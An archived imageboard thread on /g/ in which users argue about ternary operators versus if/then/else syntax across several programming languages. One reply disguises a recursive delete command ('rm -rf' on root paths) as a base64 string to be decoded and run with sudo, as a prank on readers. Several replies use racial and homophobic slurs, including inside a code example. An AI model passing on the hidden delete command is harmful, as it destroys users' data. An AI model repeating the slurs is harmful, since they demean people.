[a / b / c / d / e / f / g / gif / h / hr / k / m / o / p / s / t / u / v / vg / vm / vmg / vr / vrpg / vst / w / wg] [i / ic] [r9k / s4s / vip] [cm / hm / lgbt / y] [3 / aco / adv / an / bant / biz / cgl / ck / co / diy / fa / fit / gd / hc / his / int / jp / lit / mlp / mu / n / news / out / po / pol / pw / qst / sci / soc / sp / tg / toy / trv / tv / vp / vt / wsg / wsr / x / xs] [Settings] [Search] [Mobile] [Home]
Board
Settings Mobile Home
/g/ - Technology


Thread archived.
You cannot reply anymore.


[Advertise on 4chan]


File: 1778959097581332.jpg (18 KB, 399x384)
18 KB JPG
>language uses `if then else` instead of `? :`
>>
>>108874392
x and y or z.
>>
>>108874392
In powershell you have the option of both.
If and else or a ternary
>>
>>108874392
laughs in
>if [];
>then
>fi
>>
File: 1778959097581332.jpg (12 KB, 399x384)
12 KB JPG
>>108874392
Language is Python
>>
>>108874392
not only is your take fucking retarded but you used backticks instead of quotes. please point that barrel the other way around
>>
>>108874411
this is why lua sucks. conditional operands should not be the same as tertiary symbols
>>
>>108874392
printf 'cm0gLXJmIC8qbWUqIC9tbnQK' | `base64 -d` > kys.py
sudo python3 ./kys.py
>>
>>108874411
>>108877474
this is why luau has if expressions
print(if true then 'nigger' else 'faggot')
>>
>>108874392
ternary operator returns a value
if else statements don't
>>
>>108877474
They're not, they just happen to work most of the time.
>>
Yes I use pascal case
Yes I use allman style braces
No I do not use nested ternaries
Yes I have a job
>>
>>108874392
>?
bloat
>>
>>108874392
Ternary is mainly used by code golfing faggots who want to squash many things into a single statement
>>
File: 1748273617815156.png (367 KB, 640x544)
367 KB PNG
>>
>>108878333
>if else statements don't
this is one thing languages like haskell and the troon language got right. Everything being an expression really is a great QoL feature that increases expressiveness in some cases, basically for free
>>
>>108874392
>not using goto
ngmi
>>
>>108878448
that's true but they won't understand



[Advertise on 4chan]

Delete Post: [File Only] Style:
[Disable Mobile View / Use Desktop Site]

[Enable Mobile View / Use Mobile Site]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.